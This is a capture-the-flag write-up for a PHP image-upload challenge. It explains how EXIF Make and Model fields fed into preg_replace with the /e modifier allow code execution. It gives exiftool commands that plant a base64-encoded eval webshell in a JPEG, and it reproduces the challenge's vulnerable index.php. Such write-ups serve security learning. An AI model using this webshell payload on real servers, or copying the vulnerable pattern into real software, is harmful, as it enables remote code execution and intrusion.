Firebird CTF 2024: Innocent Image Viewer
First blood on a PHP image upload challenge — weaponizing EXIF data with exiftool to inject a webshell via a preg_replace /e backdoor.
1st 🩸
Analyse
Observing the source code of index.php, I noticed that the file extension is strictly limited to jpg. The uploaded image's exif data is then processed, revealing a potential vulnerability:
$exif = exif_read_data($targetFile);
preg_replace($exif['Make'],$exif['Model'],'');Exploit
This is a typical scenario for creating a Webshell hidden in an image, often referred to as an 'image horse'.
For reference on this technique: Hiding Webshell Backdoor Code in Image Files
To create such an 'image horse', the image is prepared and then uploaded while also using GET parameters for execution:
exiftool "-make=/.*/e" 1.jpg
exiftool "-model=eval(base64_decode('aWYgKGlzc2V0KCRfR0VUWyIxIl0pKSB7ZXZhbCgkX0dFVFsiMSJdKTt9'));" 1.jpgIn this approach, the image's exif data is manipulated to include executable PHP code, which is then executed by the server when the image is processed, exploiting the vulnerability in the preg_replace function usage.

Here comes the flag~
Source Code (index.php)
<!DOCTYPE html>
<html>
<head>
<title>Image EXIF Viewer</title>
</head>
<body>
<?php
$targetDir = "uploads/";
// Generate a random file name
$randomFileName = uniqid() . '.' . 'jpg';
$targetFile = $targetDir . $randomFileName;
$uploadOk = 1;
$isFormSubmitted = isset($_POST["submit"]);
if($isFormSubmitted) {
$check = getimagesize($_FILES["image"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
if ($isFormSubmitted && $_FILES["image"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
if ($isFormSubmitted && $uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
} else if ($isFormSubmitted) {
if (move_uploaded_file($_FILES["image"]["tmp_name"], $targetFile)) {
echo "The file ". basename($_FILES["image"]["name"]). " has been uploaded.";
$exif = exif_read_data($targetFile);
preg_replace($exif['Make'],$exif['Model'],'');
if ($exif !== false) {
echo "<h2>EXIF Data:</h2>";
echo "FileDateTime: " . (!empty($exif['FileDateTime']) ? $exif['FileDateTime'] : "N/A") . "<br>";
echo "FileSize: " . (!empty($exif['FileSize']) ? $exif['FileSize'] : "N/A") . "<br>";
echo "Camera Model: " . (!empty($exif['Model']) ? $exif['Model'] : "N/A") . "<br>";
} else {
echo "No EXIF data found.";
}
echo "<h2>Uploaded Image:</h2>";
echo "<img src='$targetFile' alt='Uploaded Image'>";
echo "<a href='$targetFile' target='_blank'>Click here to access the uploaded photo</a>";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
<!-- Very old app, but it works so Sam said don't touch it... ¯\_(ツ)_/¯ -->
<h2>Upload an Image</h2>
<form action="<?php echo $_SERVER["PHP_SELF"]; ?>" method="post" enctype="multipart/form-data">
<input type="file" name="image" id="image">
<input type="submit" value="Upload Image" name="submit">
</form>
</body>
</html>